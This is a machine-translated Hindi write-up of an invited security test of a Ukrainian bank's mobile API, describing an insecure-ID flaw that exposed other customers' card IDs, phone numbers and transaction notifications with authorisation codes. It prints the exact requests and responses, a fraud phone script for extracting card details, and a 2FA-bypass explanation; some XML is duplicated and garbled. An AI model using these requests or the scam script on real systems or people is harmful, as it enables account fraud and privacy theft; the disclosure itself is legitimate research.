TOP-10 (यूक्रेन) से बैंक कार्ड पर दो-कारक प्रमाणीकरण की जानकारी प्राप्त करना और उसे दरकिनार करना

पिछले साल, TOP-10 के एक यूक्रेनी बैंक ने मुझे कमजोरियों के लिए अपने इंटरनेट और मोबाइल बैंकिंग सिस्टम का परीक्षण करने के लिए आमंत्रित किया था।

सबसे पहले, मैंने मोबाइल एप्लिकेशन के अनुरोधों को ट्रैक करके शुरू करने का फैसला किया। फ़िडलर (बर्प या चार्ल्स) की मदद से, मैंने प्रत्येक आवेदन अनुरोध पर विचार करना शुरू किया, जो मेरे खाते में उपलब्ध सभी कार्यों को चालू करता है। मोबाइल बैंकिंग एसएसएल-पिनिंग द्वारा संरक्षित नहीं थी, इसलिए यह मुश्किल नहीं था।

GET और POST अनुरोधों में, मैं जो कुछ भी खोज रहा था उसे पाने के लिए मैंने मापदंडों को बदलने की कोशिश की, लेकिन लंबे समय तक मैं सफल नहीं हुआ - मुझे "प्रवेश निषेध" जैसी त्रुटियां मिलीं। हालाँकि, मुझे उन प्रश्नों का पता चला जिसकी मुझे आवश्यकता थी।

उदाहरण के लिए:

1. फॉर्म के पते पर एक पोस्ट अनुरोध को निष्पादित करके

https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint 

कुछ मापदंडों के साथ:

 SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

अनुरोध शरीर:
 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope> 

जवाब में, मुझे एक और ग्राहक के बारे में काफी जानकारी मिली:

 <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB: टोकन> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> </ SBB: टोकन> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope> 

ये निम्नलिखित डेटा हैं:

  1. ग्राहक फोन नंबर ("फोननंबर");
  2. कार्ड की संख्या (प्रत्येक "कार्डआईड" पैरामीटर);
  3. इस तरह के कार्डों की छोटी संख्या ("हैशनाम");
  4. इंटरनेट बैंकिंग में पंजीकरण की तारीख ("रेगडेट");
  5. किस डिवाइस पर एप्लिकेशन का उपयोग किया जाता है - एंड्रॉइड या आईओएस ("प्लेटफ़ॉर्म");
  6. और आगे

अनुरोध निकाय में पैरामीटर "ib: clientId" को बदलना (किसी प्रतिक्रिया में यह "sbb: extClientId") 3618336 से किसी अन्य पर है, हमें दूसरे क्लाइंट के बारे में जानकारी मिलती है।

चलो आगे बढ़ते हैं।

2. अब उन ग्राहकों के लिए जहां "sbb: channelId" "2" है (ग्राहक सूचना प्राप्त करने के लिए चैनल: यदि 1 - एसएमएस, 2 - पुश), क्लाइंटआईड (extClientId) लें और इसे पते के लिए GET अनुरोध में स्थान दें।

 https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10 

निम्नलिखित मापदंडों के साथ:

 Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0 

जवाब में, हम इस ग्राहक को भेजे जाने वाले पुश सूचनाएँ प्राप्त करते हैं:

 [{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}] 

यहाँ आप देख सकते हैं:

  1. कार्ड किस ऑपरेशन पर था;
  2. किस राशि के लिए;
  3. ऑपरेशन की तारीख और समय;
  4. यह किस तरह का ऑपरेशन था (एक स्टोर पर खरीदना, एटीएम या कैश रजिस्टर से वापस लेना, कार्ड को फिर से भरना, आदि);
  5. बिक्री का बिंदु जहां यह ऑपरेशन किया गया था - भुगतान साइटों पर भुगतान की पुष्टि करने के लिए आवश्यक प्राधिकरण कोड सहित - लुकअप, वीसीओडीई, कार्डविरिफ - इसके बारे में और नीचे;
  6. प्रत्येक ऑपरेशन के बाद कार्ड संतुलन।

बड़ी मात्रा में डेटा प्राप्त करने और सोशल इंजीनियरिंग का उपयोग करने के कारण, भुगतान साइटों पर ग्राहक कार्ड से पैसे निकालना संभव था।

उदाहरण के लिए, एक धोखेबाज निम्नलिखित बातचीत के साथ +380509876543 कॉल करेगा:

 Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH 

- शुभ दोपहर, SomeBank निगरानी कर्मचारी आपको परेशान कर रहा है। हमने अंतिम ऑपरेशन के बाद आपके कार्ड पर संदिग्ध गतिविधि का पता लगाया। क्या आपने एक कार्ड के साथ 5111-1115 UAH 62.08 के लिए भुगतान किया था?
- शायद हाँ।
- यह ऑपरेशन आज, 09/23/18 को, UBER में 03:38 पर था। क्या आप इस ऑपरेशन की पुष्टि करते हैं?
- आह, हाँ, यह मैं था।
- और इससे पहले, आप 50 UAH के लिए TAVRIYA PLUS में बस गए। और 29 UAH के लिए SHEVCHENko PARK में कॉफी खरीदी। सही?
- हाँ, बिलकुल।
- अच्छा है। UAH 444 के लिए एक फर्जी ऑपरेशन को रद्द करने के लिए, मुझे उस शाखा की संख्या बताएं जहां आपका कार्ड जारी किया गया था - ये कार्ड के पीछे तीन नंबर हैं, और यह भी ...

यदि ग्राहक हिचकिचाता है, तो आप उसके अन्य कार्यों को नाम दे सकते हैं - भेद्यता का उपयोग करके आप उन्हें असीमित संख्या में देख सकते हैं।



इसलिए, मोबाइल एप्लिकेशन के अध्ययन के भाग के रूप में, निम्नलिखित डेटा प्राप्त करने के लिए विधियाँ पाई गई:

  1. भुगतान साइटों पर दो-कारक प्रमाणीकरण को बायपास करने की क्षमता;
  2. ग्राहक फोन नंबर;
  3. उसके कार्ड की संख्या;
  4. काटे गए कार्ड नंबर;
  5. ऑनलाइन बैंकिंग में पंजीकरण की तारीख;
  6. संदेश जो स्मार्टफोन पर क्लाइंट को भेजे जाते हैं। जानकारी शामिल करें:
  7. कार्ड किस ऑपरेशन पर था;
  8. किस राशि के लिए;
  9. लेन-देन की तारीख और समय;
  10. यह किस तरह का लेन-देन था (एक स्टोर पर खरीदना, एटीएम या नकदी रजिस्टर से वापस लेना, कार्ड को फिर से भरना, आदि);
  11. बिक्री का बिंदु जहां यह ऑपरेशन किया गया था - प्राधिकरण कोड (लुकअप) सहित;
  12. ऑपरेशन के बाद कार्ड संतुलन;
  13. और भी बहुत कुछ।

मैं क्लॉज 11. की गंभीरता को समझाऊंगा क्योंकि इस बैंक के कार्ड में 3D-सिक्योर नहीं है (जब क्लाइंट को एसएमएस के माध्यम से कोड भेजा जाता है जिसे ऑपरेशन की पुष्टि करने के लिए दर्ज किया जाना चाहिए), भुगतान सेवाएं (उदाहरण के लिए, पोर्टमोन, आईपे, ईज़ीपे और कई अन्य) अतिरिक्त सत्यापन के बिना ऐसे कार्ड पर एक ऑपरेशन करें। या वे एक 2FA विशेष कोड (लुकअप कोड) के लिए पूछते हैं, जो ऑपरेशन के विवरण में निहित है - आउटलेट के नाम पर।

इस प्रकार, धोखेबाज आसानी से ग्राहकों के बारे में जानकारी प्राप्त कर सकते हैं, और भुगतानों की पुष्टि करने के लिए वे बस बैंक प्रणाली में आवश्यक कोड देखेंगे।

मैं यह भी ध्यान देना चाहूंगा कि सेवा ने कई अनुरोधों को अवरुद्ध नहीं किया, और, डेटा के माध्यम से छंटनी, बहुत बड़ी मात्रा में जानकारी के साथ एक डेटाबेस एकत्र करना संभव था।

कमजोरियों की रिपोर्ट करने के कुछ समय बाद, उन्हें ठीक कर दिया गया।

Source: https://habr.com/ru/post/hi441104/


All Articles